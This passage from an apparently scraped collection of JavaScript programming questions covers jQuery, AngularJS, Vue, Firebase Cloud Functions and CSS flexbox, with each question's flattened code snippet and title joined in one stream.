, which is a undefined and not a functionI expect that String.prototype.trim.apply should be called for each element in the array with the context set to the element from array ( passed to apply ) ; I 've also tried different combinations of apply , call and bind with no success.Why the function on prototype can not be referenced when using mapHow function can be passed as parameter to map var arr = [ ' A ' , ' b ' , ' c ' ] ; arr.map ( function ( el ) { return el.trim ( ) ; } ) ; arr.map ( String.prototype.trim.apply ) ;",How to pass the method defined on prototype to Array.map as callback "JS : There is an opensource vector maps for sites called jqvmapThe problem is that using ipad or iphone browser it handles clicks incorrectly.First touch causes onRegionOver event.Second touch causes onRegionClick event.How can we modify onRegionOver to make it work on ios as click ? jQuery ( ' # vmap ' ) .vectorMap ( { map : 'world_en ' , backgroundColor : ' # a5bfdd ' , borderColor : ' # 818181 ' , borderOpacity : 0.25 , borderWidth : 1 , color : ' # f4f3f0 ' , enableZoom : true , hoverColor : ' # c9dfaf ' , hoverOpacity : null , normalizeFunction : 'linear ' , scaleColors : [ ' # b6d6ff ' , ' # 005ace ' ] , selectedColor : ' # c9dfaf ' , selectedRegion : null , showTooltip : true , onRegionClick : function ( element , code , region ) { var message = 'You clicked `` ' + region + ' '' which has the code : ' + code.toUpperCase ( ) ; alert ( message ) ; } } ) ;",jqvmap RegionClick on iphone/ipad "JS : I am converting a jQuery Plugin into an Angular Directive , but still not working properly , or : not working at all.This is the behavior I want to achieveHere is a jsfiddle alsoRemember that all I want to achieve with this , is the behavior on the left sidebar where says 'sticky ' everywhere.I did it with jQuery ( I am new to Angular ) and I need to have it working with Angular . Please go and see the Plunkr Example , that behavior , is the one I want . Thanks in advance if some of you guys take the time to help me.Look at the jQuery code : and here is my Angular Directive : my directive is good at the point that once you do scroll , the console.log shows up . $ ( function ( ) { var offset = $ ( `` # sidebar '' ) .offset ( ) ; var topPadding = 85 ; $ ( window ) .scroll ( function ( ) { if ( $ ( window ) .scrollTop ( ) > offset.top ) { $ ( `` # sidebar '' ) .stop ( ) .animate ( { marginTop : $ ( window ) .scrollTop ( ) - offset.top + topPadding } ) ; } else { $ ( `` # sidebar '' ) .stop ( ) .animate ( { marginTop : 50 } ) ; } ; } ) ; } ) ; angular.module ( 'capilleira.clickAndGambleWebApp.directives ' , [ ] ) .directive ( 'sticky ' , function ( $ window ) { return { restrict : ' A ' , controller : ( $ scope ) link : function ( scope , element , attrs ) { var raw = element [ 0 ] , offset = element.offset ( ) , topPadding = 85 ; angular.element ( $ window ) .bind ( 'scroll ' , function ( ) { console.log ( 'SCROOOOOOOOOOOOOLLLL ' ) ; if ( $ window.scrollTop > offset.top ) { raw.stop ( ) .animate ( { marginTop : $ window.scrollTop ( ) - offset.top + topPadding } ) ; } } ) ; } } } ) ;","Turning jQuery into Angular , fixed sidebar not working ( ? )" "JS : I have a jQuery code like this : Now I want to know is there any alternative for those .next ( ) functions ? ( something like 4*next ( ) ) Note : .nextUntil ( ) is not useful for me , Because I do n't have any clue to use it in .nextUntil ( ) . ( My HTML structure is dynamic . In other word , it is not constant . Sometimes the final element is a span , and sometimes it is a div and so on ... ) Edit : Here is a few examples for my HTML structure : example1 : example2 : $ ( this ) .next ( ) .next ( ) .next ( ) .next ( ) .html ( ' < span > anything < /span > ' ) ; < button > click it < /button > < div > div1 < /div > < div > div2 < /div > < span > span1 < /span > < a > a1 < /a > < ! -- target ! ! and it should be < span > anything < /span > -- > < div > div3 < /div > < button > click it < /button > < span > span1 < /span > < b > b1 < /b > < span > span2 < /span > < div > div1 < /div > < ! -- target ! ! and it should be < span > anything < /span > -- > < div > div2 < /div > < div > div3 < /div >",jQuery - Alternative to chaining multiple .next ( ) methods "JS : I 'm new to using ui-router and am having some difficulty with a lazy loaded nested ui-view . I 've tried a number of things and though I imagine I 've come close , I ca n't quite get it to work , so whoever fixes the plunker shared below will be awarded the correct answer.Plunker-Firstly , require.js bootstraps the main application , and index.html contains two ui-views , one for the navigation , and one for the main content section . The main content section contains various portfolio items ( Test1 in plnkr ) that are lazy loaded ( with ocLazyLoad ) into the main content section when one is selected.-The main app module defines the various states in its config method , including a state to load the portfolio item according to its ID and based on a naming convention.-When Test1 is clicked , its main module is lazy loaded , and this module defines its own states , and Test1 has its own index.html with its own nested ui-view . Worth noting is that I 've also had to use this module 's run method to run a function that wraps $ state.go in $ timeout , to get template content to appear in the nested ui-view when Test1 is initially clicked . This is hackish and undoubtedly not the right approach and perhaps the source of the issue , as we 'll see shortly . I also tried to put the $ state.go in a service but it did n't make a difference as I ultimately ran into the same problem.-Finally , here 's where things break . If from inside Test1 , you click on Home in the main nav , then try clicking on Test1 again , the template content that appeared previously in the nested ui-view does n't appear ( obviously , since the module 's run function only runs once ) . It 's easy to make it reappear by manually clicking on a link that reloads the state , but obviously this is n't desirable.TL/DR -- Home - > Click on Test1 - > Working ! - > Click Home - > Click Test1 - > Breaks ! Main app module and states : Lazy loaded Test1 main module and states : ( function ( ) { angular.module ( 'myApp ' , [ 'ui.router ' , //'door3.css ' , 'oc.lazyLoad ' ] ) .config ( function ( $ ocLazyLoadProvider , $ stateProvider , $ urlRouterProvider ) { $ urlRouterProvider.otherwise ( '/ ' ) ; $ stateProvider .state ( 'root ' , { url : '/ ' , views : { 'nav ' : { templateUrl : 'views/static/nav.html ' } , 'content ' : { templateUrl : 'views/portfolio.html ' } } } ) .state ( 'root.home ' , { url : 'home ' , views : { 'content @ ' : { templateUrl : 'views/portfolio.html ' } } } ) .state ( 'root.about ' , { url : 'about ' , views : { 'content @ ' : { templateUrl : 'views/about.html ' } } } ) .state ( 'root.portfolio ' , { url : ' : id ' , views : { 'content @ ' : { // css : function ( $ stateParams ) { // return '/portfolio/ ' + $ stateParams.id + '/css/master.css ' ; // } , templateUrl : function ( $ stateParams ) { return 'portfolio/ ' + $ stateParams.id + '/index.html ' ; } , resolve : { load : function ( $ stateParams , $ ocLazyLoad ) { return $ ocLazyLoad.load ( { files : [ 'portfolio/ ' + $ stateParams.id + '/js/mainModule.js ' ] } ) ; } } } } } ) ; } ) ; } ) ( ) ; ( function ( ) { angular.module ( 'testingApp ' , [ { files : [ 'portfolio/testing/controllers/testingCtrl.js ' ] } ] ) .config ( function ( $ stateProvider , $ urlRouterProvider ) { $ urlRouterProvider.otherwise ( '/ ' ) ; $ stateProvider .state ( 'root.portfolio.testing ' , { url : '/ ' , views : { 'testingContent @ root.portfolio ' : { templateUrl : 'portfolio/testing/views/testfile.html ' , controller : 'testingCtrl ' , controllerAs : 'test ' } } } ) } ) .run ( function ( $ state , $ timeout ) { $ timeout ( function ( ) { $ state.go ( 'root.portfolio.testing ' ) ; } , 0 ) ; } ) ; } ) ( ) ;",Angular UI-Router - Refresh lazy-loaded nested ui-view on state change "JS : I have the below code : but when it 's called using the below it fails : whereas the below works : filtersManager = ( function ( $ ) { var that = this ; function configure ( ) { // some work return that ; } ; function process ( ) { // some work return that ; } return { // public functions configure : configure , process : process } ; } ( jQuery ) ) ; filtersManager.configure ( ) .process ( ) ; Error : Object does n't support property or method 'process ' filtersManager.configure ( ) ; filtersManager.process ( ) ;",How to use Chain Pattern with Self Revealing Module Pattern in JavaScript ? "JS : I 'd like to somehow get the target opacity ( the final value it is being animated to ) of an element that is fading.For example ... Is this doable in jQuery ? UpdateFor some background , see my answer here on Stack Overflow . I was trying to help out another user on SO and decided to ask this question that related to my answer . $ ( 'body ' ) .fadeTo ( 0.4 ) ; // 0.4 $ ( 'body ' ) .fadeIn ( ) ; // 1 $ ( 'body ' ) .fadeOut ( ) ; // 0 $ ( 'body ' ) .animate ( { opacity : 0.7 } ) ; // 0.7","In jQuery , can you get the `` target '' opacity of an element that is fading ?" JS : My question is : What is `` window.demo.clickOnAndroid ( ) '' ? I know that clickOnAndroid is a method in my Android application . But what is window and demo ? My file is called demo.html . Is that it ? < html > < script language= '' javascript '' > /* This function is invoked by the activity */ function wave ( ) { alert ( `` 1 '' ) ; document.getElementById ( `` droid '' ) .src= '' android_waving.png '' ; alert ( `` 2 '' ) ; } < /script > < body > < ! -- Calls into the javascript interface for the activity -- > < a onClick= '' window.demo.clickOnAndroid ( ) '' > < div style= '' width:80px ; margin:0px auto ; padding:10px ; text-align : center ; border:2px solid # 202020 ; '' > < img id= '' droid '' src= '' android_normal.png '' / > < br > Click me ! < /div > < /a > < /body > < /html >,Javascript question -- what is `` window '' ? "JS : I have a flat object and an array from which I need to construct a tree-like object.The array describes the level at which each choice will come in the tree . I do not know how many choices , items or levels there will be later.How do I get the following object : I need to get an object describing how many items there are on each level . In this example this is choice1 : 1 ; choice2 : 2 and each choice3 : 1.Any advice on how to build a loop to get this result ? choices : [ 'choice1 ' , 'choice2 ' , 'choice3 ' ] ; items : [ { choice1 : 'taste ' , choice2 : 'good ' , choice3 : 'green-lemon ' } , { choice1 : 'taste ' , choice2 : 'bad ' , choice3 : 'green-lemon ' } ] ; output : { taste : { good : { green-lemon:1 } , bad : { green-lemon:1 } } }",How to loop through Object and create a tree Object "JS : How would I reference a dynamic local variable ? This is easily accomplished with a global variable : How would I do the same in a local scope ? Specifically what I 'm trying to do : Depending on the situation , I want to evaluate a < b or b < a To accomplish this , I set two variables : compare1 and compare2 compare1 will reference either a or b and compare2 will reference the other Evaluate compare1 < compare2 or vice-versa The following works perfectly with global variables . However , I want a and b to be local . If in the above I set compare1=a then I would have to reset compare1 every time a changed . Instead , I want to actually [ look at/point to ] the value of a . myPet = `` dog '' ; console.log ( window [ `` myPet '' ] ) ; myArray = [ 100,500,200,800 ] ; a = 1 ; // Array index ( operand 1 ) b = 2 ; // Array index ( operand 2 ) compare1 = `` b '' ; compare2 = `` a '' ; for ( a=0 ; a < myArray.length ; a++ ) { b = a+1 ; while ( b > =0 & & myArray [ window [ compare1 ] ] < myArray [ [ compare2 ] ] ) { /* Do something ; */ b -- ; } }",How to access dynamic local variables "JS : I 'm trying to do an editable component with Vue 2 . It supposed to use the contenteditable attribute in any tag , replacing a normal input . I want to give it a placeholder functionality in order to show a value when none is provided by the user , but I ca n't seem to get it working.I 'm watching the current value of the component and setting data.isEmpty to true when no user content is present . The component should then show the placeholder value , but currently it shows nothing.If I console.log the result of the render method , it will show the placeholder child node was instantiated correctly , but for some reason it just wo n't show on the final HTML.Here 's a JSFiddle : https : //jsfiddle.net/dy27fa8t/And an embedded snippet for those who prefer it : Vue.component ( 'editable-content ' , { props : { initial : { type : String } , placeholder : { type : String , required : false } } , data ( ) { return { value : this.initial , isEmpty : this.initial === `` } } , render : function ( createElement ) { const self = this return createElement ( 'div ' , { attrs : { contenteditable : true } , on : { input : function ( event ) { self.value = event.target.innerHTML self. $ emit ( 'edited ' , event.target.value ) } } } , this.isEmpty ? this.placeholder : this.value ) } , watch : { value ( to , from ) { this.isEmpty = to === `` } } } ) new Vue ( { el : ' # app ' , components : [ 'editable-content ' ] } ) < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/vue/2.3.0/vue.min.js '' > < /script > < div id= '' app '' > < editable-content initial= '' Initial value '' placeholder= '' Placeholder '' / > < /div >",Vue component not showing child text node when using render function "JS : I have a promise SharedData which return a variable service .template as well . The value is mytemplate with which I build an url that I ant to pass to templateUrl directive but without success.Thanks for helping me ! app.directive ( 'getLayout ' , function ( SharedData ) { var buildUrl= `` ; SharedData.then ( function ( service ) { buildUrl = service.template + '/layouts/home.html ' ; console.log ( buildUrl ) ; // return mytemplate/layouts/home.html which is the URL I want to use as templateUrl } ) ; return { restrict : ' A ' , link : function ( scope , element , attrs ) { ... } , templateUrl : buildUrl } } ) ;",Use promise in directive for dynamic templateUrl JS : I often see something like the following in JavaScript : Why is it necessary to wrap the call to sendForm ( ) inside a function ? I would think that doing it like this would be more readable and less typing . What are the advantages/disadvantages to each approach ? thanks ! $ ( `` # sendButton '' ) .click ( function ( ) { sendForm ( ) ; } $ ( `` # sendButton '' ) .click ( sendForm ) ;,why is it necessary to wrap function call in a function body "JS : I 'm trying to have my Tampermonkey script show a Chrome notification , but no notification is showing up . I have allowed notifications on the site.Here is my code : What do I need to change ? // ==UserScript==// @ name New Userscript// @ namespace http : //tampermonkey.net/// @ version 0.1// @ description try to take over the world ! // @ author You// @ match somewebsite.com/*// @ grant GM_notification// @ require http : //code.jquery.com/jquery-1.12.4.min.js// ==/UserScript== ( function ( $ , undefined ) { $ ( function ( ) { GM_notification ( { title : 'foo ' , image : 'bar ' , text : '42 ' , onclick : console.log } ) ; } ) ; } ) ( window.jQuery.noConflict ( true ) ) ;",Chrome notification not showing with Tampermonkey "JS : The JS documentation for Date claims that there are four ways to use the Date constructor . From https : //developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date : However , there seems to be a fifth way to use the constructor , by passing in a valid date object . For example , the following works fine in the chrome console : They are different objects , so it seems like an easy way to make a copy of a date : So my questions are : Why is this not in the official documentation ? Am I missing something ? Is this an officially supported use of the constructor ? Will it work on all platforms/browsers ? Is this a safe way to make a copy of a Date object , replacing e.g . date2 = new Date ( ) .setTime ( date.getTime ( ) ) ? new Date ( ) ; new Date ( value ) ; // integernew Date ( dateString ) ; // stringnew Date ( year , month [ , day [ , hour [ , minutes [ , seconds [ , milliseconds ] ] ] ] ] ) ; date = new Date ( ) // Wed Sep 02 2015 16:30:21 GMT-0700 ( PDT ) date2 = new Date ( date ) // Wed Sep 02 2015 16:30:21 GMT-0700 ( PDT ) date2 === date // falsedate.setMonth ( 1 ) // 1422923421090date // Mon Feb 02 2015 16:30:21 GMT-0800 ( PST ) date2 // Wed Sep 02 2015 16:30:21 GMT-0700 ( PDT )",Calling the Date constructor with a Date object "JS : I have a refresh `` button '' ( actually a png image ) which the user can hover their mouse over , turning it from gray to blue . When refresh is clicked , the image changes to a play `` button '' which exhibits similar color-changing behavior , except when you click on the play image it should switch back to the original refresh image.The problem is that , after clicking on the refresh image , when I click on the play image without removing my mouse from the image , it does n't change back to the refresh image.I have already looked into event propagation stopping.Here is my code : Some interesting things I have noticed whilst trying to debug : If I move my mouse through # refresh too fast the hover will 'stick ' i.e . the implicit mouseleave wo n't fire.Commenting out the hover code fixes the clicking problem.Leaving the hover code in , if I click outside of the image but inside of the div , without removing my mouse from the div , fixes the clicking problem.Removing my mouse from the div before trying to click again fixes the clicking problem.After clicking on the image , the image it changes to will flicker between the hover and non-hover image if I move my mouse over it , but not if I first remove my mouse from the div.When I experience the clicking problem , the offending image will flicker momentarily , as if switching to one of the non-hover images , and then quickly changing back to the offending image.It seems to me that my two event handlers have conflicting interests , but stopping the event propagation does n't seem to help . $ ( ' # refresh ' ) .click ( function ( event ) { if ( ! tMinusZero ) { $ ( ' # refresh ' ) .html ( `` < img src='play_small_hover.png ' > '' ) ; tMinusZero = true ; event.stopImmediatePropagation ( ) ; } else { $ ( ' # refresh ' ) .html ( `` < img src='refresh_small_hover.png ' > '' ) ; tMinusZero = false ; ( event.stopImmediatePropagation ( ) ; } } ) ; $ ( ' # refresh ' ) .hover ( function ( ) { if ( ! tMinusZero ) { $ ( ' # refresh ' ) .html ( `` < img src='refresh_small_hover.png ' > '' ) ; } else { $ ( ' # refresh ' ) .html ( `` < img src='play_small_hover.png ' > '' ) ; } } , function ( ) { if ( ! tMinusZero ) { $ ( ' # refresh ' ) .html ( `` < img src='refresh_small.png ' > '' ) ; } else { $ ( ' # refresh ' ) .html ( `` < img src='play_small.png ' > '' ) ; } } ) ;",Conflicting click and hover events on the same element JS : Here is a similar piece of code I am working on right now : I have to get the value Exterior if I click on the image image1.jpg . I created the data attribute data-gallery and was trying to get the value by using $ ( ' [ data-gallery ] ' ) .data ( `` gallery '' ) but getting only the first value . What I need looks something like this : Clicking on image1 getting the value 'Exterior'.Clicking on image2 getting the value 'Interior'.Thanks in advance < div class= '' gallery-category '' > < h2 data-gallery= '' Exterior '' > < span class= '' gallery-back '' > < /span > Exterior < /h2 > < div class= '' gallery-items-wrap '' > < div class= '' gallery-image-tile '' > < div class= '' gallery-img '' data-analytics= '' photo-click '' > < picture > < source srcset= '' /content/image/image1.jpg '' > < /picture > < /div > < /div > < /div > < /div > < div class= '' gallery-category '' > < h2 data-gallery= '' Interior '' > < span class= '' gallery-back '' > < /span > Interior < /h2 > < div class= '' gallery-items-wrap '' > < div class= '' gallery-image-tile '' > < div class= '' gallery-img '' data-analytics= '' photo-click '' > < picture > < source srcset= '' /content/image/image2.jpg '' > < /picture > < /div > < /div > < /div > < /div >,Jquery and html : : Getting the nearest data attribute "JS : I am developing a small Node.js package which contains a parser . It throws as soon as it detects a non-recoverable problem . I have used Java for quite some years and I am used to a mass of exception classes.But this is JavaScript . I guess it 's a matter of style . My essential problem is how to pass the error reason to catch blocks . I thought of creating either different Error `` classes '' for different error reasons , each taking care of details about each problem , or a single Error class which holds the reason as a property.Let me give you an example of handling both kinds of errors : Which of the approaches is better ? Both will work , but I do n't like the first . Many classes seem to me like an huge overhead.Edit : I agree on using callbacks ( also answered here ) : The problem persists : Should I drop all classes and use a simple object without any prototypal inheritance ? I need to pass information about the problem to the error handler ( whether catch or callback ) .I want to keep this function synchronous because it is tiny and fast ( yes , I know that a callback does not make a function async ) . AFAIK Node.js itself throws Errors in synchronous code ( fs.readFileSync ) whilst passing error objects to callbacks in asynchronous functions ( fs.readFile ) . catch ( e ) { if ( e instanceof FirstError ) { ... } if ( e instanceof SecondError ) { ... } } catch ( err ) { if ( err instanceof AnError ) { if ( err.detail === 'becauseOfA ' ) { ... } if ( err.detail === 'becauseOfB ' ) { ... } } ... } // One class per error typefunction ( err , ast ) { if ( err ) { if ( err instanceof FirstError ) { ... } if ( err instanceof SecondError ) { ... } } ... } // One class for all errorsfunction ( err , ast ) { if ( err ) { if ( err instanceof AnError ) { if ( err.detail === 'becauseOfA ' ) { ... } if ( err.detail === 'becauseOfB ' ) { ... } } ... } } // No class at allfunction ( err , ast ) { if ( err ) { if ( err.detail === 'becauseOfA ' ) { ... } if ( err.detail === 'becauseOfB ' ) { ... } ... } }",Pass error reason in thrown object / How to handle errors in modern JavaScript "JS : < div id= '' foo '' > < strong > foo < /strong > < /div > The code above works fine.But I remember that I saw this somewhere : Do not mess with native Object . well , something like that.So is it ok to define a prototype function on Object ? Are there any reasons that I should not do this ? Object.prototype.doSomething = function ( p ) { this.innerHTML = `` < em > bar < /em > '' ; this.style.color = `` # f00 '' ; alert ( p ) ; } ; document.getElementById ( `` foo '' ) .doSomething ( `` Hello World '' ) ;",Is it ok to define a prototype function on Object in Javascript ? "JS : So , in ES2015 you can have : What 's the official way to enumerate the exports of ModuleA at runtime ? As far as I can tell , the spec describes this as an ImportedBinding but I ca n't deduce anything more from that . // Module Aexport const FOO = 0 ; export const BAR = 1 ; // Module Bimport * as AExports from 'ModuleA ' ; console.log ( AExports.FOO ) ; // Prints 0 import * as AExports from 'ModuleA ' ; // Are these values guaranteed to be something ? Object.keys ( AExports ) ; // If so , should I look at enumerable values ? [ ... AExports ] ; // Iterable values ? Object.getOwnPropertyNames ( AExports ) ; // Here ? NameSpaceImport : * as ImportedBindingLet localName be the StringValue of ImportedBinding.Let entry be the Record { [ [ ModuleRequest ] ] : module , [ [ ImportName ] ] : `` * '' , [ [ LocalName ] ] : localName } .Return a new List containing entry .",Enumerating wildcard imports in ES2015 "JS : Going to do my best at explaining what I am trying to do.I have two models , mine and an api response I am receiving . When the items api response comes in , I need to map it to my model and inserts all the items . This is simple of course . Heres the issue , I need to do so without really knowing what I am dealing with . My code will be passed in two strings , one of my models mapping path and one of the api response mapping path.Here are the two pathsBasically FOR all items in apiPath , push into items in myPath and set to uniqueNameWhat it comes down to is that my code has NO idea when two items need to be mapped , or even if they contain an array or simple field to field paths . They could even contain multiple arrays , like this : ******************** EXAMPLE ************************************************* Here is the expected result of aboveI will be given a set of paths for EACH value to be mapped . In the case above , I was handed two sets of paths because I am mapping two values . It would have to traverse both sets of arrays to create the single array in my model.Question - How can I dynamically detect arrays and move the data around properly no matter what the two model paths look like ? Possible ? var myPath = `` outputModel.items [ ] .uniqueName '' var apiPath = `` items [ ] .name '' var items = [ { name : `` Hammer '' , skus : [ { num : '' 12345qwert '' } ] } , { name : `` Bike '' , skus : [ { num : '' asdfghhj '' } , { num : '' zxcvbn '' } ] } , { name : `` Fork '' , skus : [ { num : '' 0987dfgh '' } ] } ] var outputModel = { storeName : `` '' , items : [ { name : `` '' , sku : '' '' } ] } ; outputModel.items [ ] .name = items [ ] .name ; outputModel.items [ ] .sku = items [ ] .skus [ ] .num ; var result = { storeName : `` '' , items : [ { name : `` Hammer '' , sku : '' 12345qwert '' } , { name : `` Bike '' , sku : '' asdfghhj '' } , { name : `` Bike '' , sku : '' zxcvbn '' } , { name : `` Fork '' , sku : '' 0987dfgh '' } ] } ;",Javascript : Determine unknown array length and map dynamically "JS : I had done an Angularjs drag and drop method in my project . I do not have any problems in drag and drop , however I got problems on how to make style for draggable element after next action was taken.For my case , if user drag Goose and Rabbit to box labelled Animals that give birth , the user will click the button Check Answer . There will be Correct or Wrong symbol above each draggble div.I try to inspect the element , but I have seen only these styles : The ng-drag directive was applied to each draggable element . How I can differentiate it each element and make it individual style ? This thing was make me so confuse and need help from you all guys . Can anyone help me ? I do really appreciate for any suggestion or help.My expected output : Snippet for your reference : [ ng-drag ] { width : 50px ; height : 50px ; background : rgba ( 255 , 255 , 255 , 0.5 ) ; color : # 131313 ; text-align : center ; padding-top : 12px ; display : inline-block ; margin : 5px 5px ; cursor : move ; border : 1px solid # ccc ; border-radius : 4px ; } var myApp = angular.module ( 'MyApp ' , [ 'ngDraggable ' ] ) .controller ( 'MyCtrl ' , function ( $ scope ) { $ scope.checkAnswer = function ( ) { } $ scope.centerAnchor = true ; $ scope.toggleCenterAnchor = function ( ) { $ scope.centerAnchor = ! $ scope.centerAnchor } ; var onDraggableEvent = function ( evt , data ) { console.log ( `` 128 '' , `` onDraggableEvent '' , evt , data ) ; } ; $ scope. $ on ( 'draggable : start ' , onDraggableEvent ) ; $ scope. $ on ( 'draggable : end ' , onDraggableEvent ) ; $ scope.droppedObjects0 = [ { name : 'Goose ' } , { name : 'Rabbit ' } , { name : 'Chick ' } , { name : 'Cat ' } ] ; $ scope.droppedObjects1 = [ ] ; //Answer : Cat + Rabbit $ scope.droppedObjects2 = [ ] ; //Answer : Chicken + Goose $ scope.AnswerOject1 = [ { name : 'Arnab ' } , { name : 'Kucing ' } ] ; $ scope.AnswerOject2 = [ { name : 'Angsa ' } , { name : 'Ayam ' } ] ; $ scope.onDropComplete0 = function ( data , evt ) { console.log ( `` 127 '' , `` $ scope '' , `` onDropComplete0 '' , data , evt ) ; var index = $ scope.droppedObjects0.indexOf ( data ) ; if ( index == -1 ) $ scope.droppedObjects0.push ( data ) ; } ; $ scope.onDropComplete1 = function ( data , evt ) { console.log ( `` 127 '' , `` $ scope '' , `` onDropComplete1 '' , data , evt ) ; var index = $ scope.droppedObjects1.indexOf ( data ) ; if ( index == -1 ) $ scope.droppedObjects1.push ( data ) ; } ; $ scope.onDragSuccess0 = function ( data , evt ) { console.log ( `` 133 '' , `` $ scope '' , `` onDragSuccess0 '' , `` '' , evt ) ; var index = $ scope.droppedObjects0.indexOf ( data ) ; if ( index > -1 ) { $ scope.droppedObjects0.splice ( index , 1 ) ; } } ; $ scope.onDragSuccess1 = function ( data , evt ) { console.log ( `` 133 '' , `` $ scope '' , `` onDragSuccess1 '' , `` '' , evt ) ; var index = $ scope.droppedObjects1.indexOf ( data ) ; if ( index > -1 ) { $ scope.droppedObjects1.splice ( index , 1 ) ; } } ; $ scope.onDragSuccess2 = function ( data , evt ) { var index = $ scope.droppedObjects2.indexOf ( data ) ; if ( index > -1 ) { $ scope.droppedObjects2.splice ( index , 1 ) ; } } ; $ scope.onDropComplete2 = function ( data , evt ) { var index = $ scope.droppedObjects2.indexOf ( data ) ; if ( index == -1 ) { $ scope.droppedObjects2.push ( data ) ; } } ; var inArray = function ( array , obj ) { var index = array.indexOf ( obj ) ; } ; } ) ; .body { width:500px ; margin-left : auto ; margin-right : auto ; } [ ng-drag ] { -moz-user-select : -moz-none ; -khtml-user-select : none ; -webkit-user-select : none ; -ms-user-select : none ; user-select : none ; } [ ng-drag ] { width : 50px ; height : 50px ; background : rgba ( 255 , 255 , 255 , 0.5 ) ; color : # 131313 ; text-align : center ; padding-top : 12px ; display : inline-block ; margin : 5px 5px ; cursor : move ; border : 1px solid # ccc ; border-radius : 4px ; } ul.draggable-objects : after { display : block ; content : `` '' ; clear : both ; } .draggable-objects li { float : left ; display : block ; width : 50px ; height : 50px ; margin:2px ; } [ ng-drag ] .drag-over { border : solid 1px red ; } [ ng-drag ] .dragging { opacity : 0.5 ; } [ ng-drop ] { background : rgba ( 198 , 255 , 198 , 0.5 ) ; text-align : center ; height : 150px ; padding-top : 10px ; display : block ; margin : 20px auto ; position : relative ; border : 1px solid # c3c3c3 ; border-radius : 8px ; } [ ng-drop ] .drag-enter { border : solid 5px red ; } [ ng-drop ] span.title { display : block ; position : absolute ; top : 50 % ; left : 50 % ; width : 200px ; height : 20px ; margin-left : -100px ; margin-top : -10px ; } [ ng-drop ] div { position : relative ; z-index : 2 ; } .list-of-drag-item { height : 83px ; background-color : # f7f7f7 ; } < link href= '' http : //code.ionicframework.com/1.3.1/css/ionic.min.css '' rel= '' stylesheet '' / > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js '' > < /script > < script src= '' https : //ajax.googleapis.com/ajax/libs/angularjs/1.2.23/angular.min.js '' > < /script > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/ngDraggable/0.1.10/ngDraggable.js '' > < /script > < div ng-app= '' MyApp '' ng-controller= '' MyCtrl '' class= '' body '' > Categorize the animals based on their reproductive system < div class= '' row '' > < div class= '' col '' > < div class= '' list-of-drag-item '' ng-drop= '' true '' ng-drop-success= '' onDropComplete0 ( $ data , $ event ) '' > < div ng-repeat= '' obj in droppedObjects0 '' ng-drag= '' true '' ng-drag-data= '' obj '' ng-drag-success= '' onDragSuccess0 ( $ data , $ event ) '' ng-center-anchor= '' { { centerAnchor } } '' > { { obj.name } } < /div > < /div > < /div > < /div > < div class= '' row '' style= '' text-align : center ; '' > < div class= '' col div-left '' > < span class= '' title '' > Animals that give birth < div ng-drop= '' true '' ng-drop-success= '' onDropComplete1 ( $ data , $ event ) '' > < div ng-repeat= '' obj in droppedObjects1 '' ng-drag= '' true '' ng-drag-data= '' obj '' ng-drag-success= '' onDragSuccess1 ( $ data , $ event ) '' ng-center-anchor= '' { { centerAnchor } } '' > { { obj.name } } < /div > < /div > < /div > < div class= '' col div-right '' > < span class= '' title '' > Animals that Laying Eggs < /span > < div ng-drop= '' true '' ng-drop-success= '' onDropComplete2 ( $ data , $ event ) '' > < div ng-repeat= '' obj in droppedObjects2 '' ng-drag= '' true '' ng-drag-data= '' obj '' ng-drag-success= '' onDragSuccess2 ( $ data , $ event ) '' ng-center-anchor= '' { { centerAnchor } } '' > { { obj.name } } < /div > < /div > < /div > < /div > < div style= '' text-align : center '' > < button ng-click= '' checkAnswer ( ) '' > Check Answer < /button > < /div > < /div >",Implement CSS3 style for drag and drop angularjs after click a button "JS : I 'm trying to deploy a simple function on Firebase Cloud Functions but console logs an error that I ca n't figure out where isMy index.js : Console says : const functions = require ( 'firebase-functions ' ) ; const admin = require ( 'firebase-admin ' ) admin.initializeApp ( ) exports.updateAccount = functions.firestore.document ( 'accounts/ { client_id } /movements ' ) .onWrite ( change = > { const document = change.after.exists ? change.after.data ( ) : null console.log ( document ) } ) ⚠ functions : failed to create function updateAccountHTTP Error : 400 , The request has errorsFunctions deploy had errors with the following functions : updateAccountTo try redeploying those functions , run : firebase deploy -- only functions : updateAccountTo continue deploying other features ( such as database ) , run : firebase deploy -- except functionsError : Functions did not deploy properly .",Can not deploy Firestore Cloud Function "JS : I tried to make Date object from string in javascript , but i see javascript parse date string very strange here.I use Chrome 32 , as you can see they are 7 hour differ . Please tell me what happend here ? > new Date ( `` 2012-01-01 '' ) ; Sun Jan 01 2012 07:00:00 GMT+0700 ( ICT ) > new Date ( `` 01-01-2012 '' ) ; Sun Jan 01 2012 00:00:00 GMT+0700 ( ICT ) > new Date ( `` 2012-01-01 '' ) == new Date ( `` 01-01-2012 '' ) false",Strange behavior in Javascript new Date function "JS : I have a div with some children within and it 's directly contained text like below : I want to get directly contained text '100 $ ' in this DOM element.I tried with innerHTML , innerText and textContent.But they show all text including children 's text like below : The expected result is 100 $ ( I do n't need `` for each '' ) which is directly contained text in parent element . So then I can get the price and its currency.note : jquery is also allowed to use . < div id= '' price '' > 100 $ < span > some ads < /span > < span > another ads < /span > for each < /div > const element = document.getElementById ( 'price ' ) ; console.log ( element.innerText ) ; console.log ( element.innerHTML ) ; console.log ( element.textContent ) ; < div id= '' price '' > 100 $ < span > some ads < /span > < span > another ads < /span > for each < /div >",How to get only directly contained text in DOM element in Javascript ? "JS : I am creating a layout for a web application using FlexBox . Please note that I am not trying to use bootstrap for this . I just want to do it in plain flexbox css.Here is the structure I want : Row1 : Fixed header that is 64px tall.Row2 : Fixed sidenav that takes up 250px of left side , Fixed content that takes up the remainder of right side.The key here is that the sidenav and the main-content should both be 100 % of the screen with their own scroll bar . The actual browser scroll bar should never show horizontally or vertically . < div id= '' row1 '' > < div class= '' header '' > < /div > < /div > < div id= '' row2 '' > < div class= '' sidenav '' > < /div > < div class= '' main-content '' > < /div > < /div >","Creating a layout that has a fixed header , fixed sidebar nav , fixed content with flexbox" "JS : I have a directive that adds new options to a select.For that i 'm using : I do n't want to use templates because I do n't want a new scope.The options get added to the list on the view . But when I select some of them , the ng-model of the select does n't get updated . It gets value null.How can I make angular to refresh with the new option values ? Here is a codepen example : Choosing Option X does n't get reflected on model.The strange thing is that if i link to angular 1.5.9 , it works , but starting with angular 1.6.0 it doesn't.https : //codepen.io/anon/pen/XemqGb ? editors=0010 let opt : any = angular.element 